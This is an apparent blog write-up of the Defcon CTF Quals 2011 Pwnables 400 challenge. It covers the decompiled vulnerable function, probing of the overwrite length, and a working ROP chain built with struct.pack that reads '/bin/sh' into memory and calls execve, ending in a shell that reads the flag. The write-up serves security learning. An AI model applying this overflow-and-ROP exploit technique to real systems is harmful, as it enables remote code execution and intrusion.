Defcon CTF Quals 2011 – Pwnables 400

This challenge was on remote exploiting. The binary is for Linux, statically linked and stripped.

binary

Summary: overflow, ROP for execve(“/bin/sh”)

Reversing the binary is not hard, just guess standard C functions by context and their code, and understand the program’s logic:

void __cdecl main(int argc, char **argv)
{
  unsigned int n; // [sp+18h] [bp-8h]@4
  int result; // [sp+1Ch] [bp-4h]@4

  if ( argc == 2 )
  {
    n = strtol(argv[1], 0, 10);
    result = vuln(n);
  }
  else
  {
    fwrite("Missing size argument\n", 1, 22, STDERR);
  }
}


int __cdecl vuln(unsigned int nmax)
{
  char buf[64]; // [sp+18h] [bp-60h]@1
  unsigned int nread; // [sp+60h] [bp-18h]@3
  int n_to_read; // [sp+64h] [bp-14h]@2
  char *buf_in_heap; // [sp+68h] [bp-10h]@1
  int retcode; // [sp+6Ch] [bp-Ch]@1
  int retaddr; // [sp+7Ch] [bp+4h]@6

  retcode = -1;
  fwrite("Give us your best shot then!\n", 1, 29, STDERR);
  buf_in_heap = fgets(buf, 64, STDIN);
  if ( buf_in_heap )
  {
    n_to_read = strtol(buf, 0, 10);
    buf_in_heap = malloc(n_to_read);
    if ( buf_in_heap )
    {
      nread = fread(buf_in_heap, 1, n_to_read, STDIN);
      if ( nread > 0 )
      {
        if ( nread == n_to_read )
        {
          if ( nread <= nmax )
          {
            //overwrite this function's retaddr
            memcpy(&retaddr, buf_in_heap, nread_);
            retcode = 0;
          }
        }
      }
      memset(buf_in_heap, 0, nread);
      free(buf_in_heap);
    }
  }
  return retcode;
}

We see, our data is copied right to return address of the vuln function if it’s len is smaller than a value given at the server side. How can we know this limit?

Easy to guess, it should be at least 4 bytes, so we can overwrite return address to some printing function and check if the output is presented. Then increase buffer step by step and we’ll know the limit. try_len.py:

hellman@hellpc ~/Desktop/defcon/pp400 $ py try_len.py 4
Give us your best shot then!
Missing size argument
hellman@hellpc ~/Desktop/defcon/pp400 $ py try_len.py 88
Give us your best shot then!
Missing size argument
hellman@hellpc ~/Desktop/defcon/pp400 $ py try_len.py 92
Give us your best shot then!

hellman@hellpc ~/Desktop/defcon/pp400 $

Ok, the limit is nice! We have 88 bytes for ROP. Here, we can try to guess addresses of the stack or the heap on the server, copy shellcode and jump there. But since stdin and stdout are redirected, I decided to write ROP code for execve("/bin/sh"). The binary is statically linked, so we have lots of gadgets, e.g. unified_syscall. Here are the ones I used:

# writeable place for filename
place = 0x0804A304    # .data:0804A304

# makes a syscall with arguments from the stack
syscall = 0x080482D7  # .text:080482D7 unified_syscall

# stdin for fread
stdin = 0x0804A31C    # .data:0804A31C STDIN_STRUCT
fread = 0x08048C60    # .text:08048C60 fread

# pop gadgets
pop_eax = 0x08048755  # pop eax; pop edi; ret
pop4 = 0x0804839A     # pop ebx; pop esi; pop edi; pop ebp; ret
pop3 = 0x0804839B     # pop esi; pop edi; pop ebp; ret
pop2 = 0x0804839C     # pop edi; pop ebp; ret

So, the payload is:

# fread(place, 1, 8, stdin)
s += struct.pack("<I", fread)
s += struct.pack("<I", pop4)  # clean args
s += struct.pack("<I", place)
s += struct.pack("<I", 1)
s += struct.pack("<I", 8)
s += struct.pack("<I", stdin)

# pop eax for syscall
s += struct.pack("<I", pop_eax)
s += struct.pack("<I", 11)    # sys_execve
s += struct.pack("<I", 0xdead1337) # dummy

# execve(place, 0, 0)
s += struct.pack("<I", syscall)
s += struct.pack("<I", pop3)  # clean args
s += struct.pack("<I", place)
s += struct.pack("<I", 0)
s += struct.pack("<I", 0)

Full exploit:

hellman@hellpc ~/Desktop/defcon/pp400 $ py pp400exp.py 
$ cat key
my package is smaller than ddtek's

The flag: my package is smaller than ddtek

You can run the binary with this universal tcp server.

Leave a Reply

Your email address will not be published.